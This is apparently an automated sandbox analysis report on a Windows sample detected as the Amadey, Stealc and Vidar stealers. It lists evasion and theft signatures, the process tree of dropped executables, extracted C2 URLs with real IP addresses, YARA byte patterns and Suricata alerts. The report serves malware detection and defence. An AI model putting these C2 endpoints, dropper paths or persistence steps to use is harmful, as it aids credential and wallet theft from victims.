Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1483424
MD5:	7e43d787c0813212855c05d5cc4b1752
SHA1:	3b1dc23a3db66ca9f98742f379fde849a1039a67
SHA256:	5eb4e0358569874385f1f29eeb4f296ce648be45cc6ea62328e8a9594571859f
Tags:	exeStealc
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6720 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7E43D787C0813212855C05D5CC4B1752)

cmd.exe (PID: 6292 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGHJECFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingIJEGHJECFC.exe (PID: 3276 cmdline: "C:\Users\user\AppData\RoamingIJEGHJECFC.exe" MD5: 610E539A17C4968540877E8577D023AC)

explorti.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 610E539A17C4968540877E8577D023AC)

cmd.exe (PID: 2668 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAKKKEBFCG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userAAKKKEBFCG.exe (PID: 2436 cmdline: "C:\Users\userAAKKKEBFCG.exe" MD5: B4A88BF77C70C536BA5BD36EBEE0135A)

axplong.exe (PID: 5912 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: B4A88BF77C70C536BA5BD36EBEE0135A)

WerFault.exe (PID: 5744 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 2376 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorti.exe (PID: 3924 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 610E539A17C4968540877E8577D023AC)

axplong.exe (PID: 7172 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4A88BF77C70C536BA5BD36EBEE0135A)

explorti.exe (PID: 7652 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 610E539A17C4968540877E8577D023AC)

9fa327eb6c.exe (PID: 7968 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe" MD5: 7E43D787C0813212855C05D5CC4B1752)

WerFault.exe (PID: 8036 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 1332 MD5: C31336C1EFC2CCB44B4326EA793040F2)

8e8f4571c5.exe (PID: 8136 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe" MD5: B078D31FC894B91A32E1C40C596FE1EC)

firefox.exe (PID: 6760 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

axplong.exe (PID: 7660 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4A88BF77C70C536BA5BD36EBEE0135A)

9fa327eb6c.exe (PID: 4744 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe" MD5: 7E43D787C0813212855C05D5CC4B1752)

WerFault.exe (PID: 320 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 1292 MD5: C31336C1EFC2CCB44B4326EA793040F2)

8e8f4571c5.exe (PID: 6484 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe" MD5: B078D31FC894B91A32E1C40C596FE1EC)

firefox.exe (PID: 2132 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2940 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5524 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2200 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f4ac7dc-960f-42f4-ad8d-3d9c0af60b93} 2940 "\\.\pipe\gecko-crash-server-pipe.2940" 193b946bd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6300 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3712 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6096 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2204 -prefMapHandle 2196 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37ba41c5-ee86-4e0d-ae50-58ce2311310d} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b10486e910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9fa327eb6c.exe (PID: 5168 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe" MD5: 7E43D787C0813212855C05D5CC4B1752)

WerFault.exe (PID: 6764 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 1036 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2719081231.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000022.00000002.2994648505.0000000002620000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1058:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000003.2276983126.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2828964278.00000000026F2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xa40:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.2347124654.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2304525460.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2496144397.000000000273D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1590:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.2347246471.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2495938996.00000000026E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2318152598.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2718459013.000000000254D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x15c8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2317440322.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2277575400.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2828820044.00000000026B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000003.2304691515.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2268996704.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2625588301.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2718500578.0000000002567000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2242381283.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.3307066431.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2283337315.0000000000341000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2630631492.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.3307509620.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2994798598.000000000263A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2994271346.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.2309282789.0000000000021000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9fa327eb6c.exe PID: 7968	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9fa327eb6c.exe PID: 7968	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8e8f4571c5.exe PID: 8136	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 9fa327eb6c.exe PID: 4744	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9fa327eb6c.exe PID: 4744	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8e8f4571c5.exe PID: 6484	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.explorti.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.axplong.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.userAAKKKEBFCG.exe.20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.RoamingIJEGHJECFC.exe.340000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.axplong.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explorti.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.explorti.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.axplong.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7652, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9fa327eb6c.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6720, TargetFilename: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7652, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9fa327eb6c.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:14.877705+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:06.354569+0200
SID:	2044247
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:01:20.086929+0200
SID:	2803304
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:15.159882+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:02:06.002410+0200
SID:	2856122
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:14.649485+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:08.567080+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:08.662017+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:08.568337+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:16.792407+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:17.186298+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:02:04.981044+0200
SID:	2856147
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:02:03.827081+0200
SID:	2856147
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:06.348282+0200
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:02:07.527719+0200
SID:	2803305
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:01:22.358428+0200
SID:	2803304
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:02:01.454625+0200
SID:	2022930
Source Port:	443
Destination Port:	49725
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:08.962439+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:05.957710+0200
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:07.599722+0200
SID:	2044248
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:02:36.795340+0200
SID:	2044243
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:08.383225+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:08.473405+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T12:02:06.757598+0200
SID:	2044696
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:13.420914+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:06.150667+0200
SID:	2044245
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:15.449812+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:02:06.106771+0200
SID:	2856147
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:22.751987+0200
SID:	2022930
Source Port:	443
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:14.649694+0200
SID:	2002725
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Web Application Attack

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:02:07.699595+0200
SID:	2044243
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

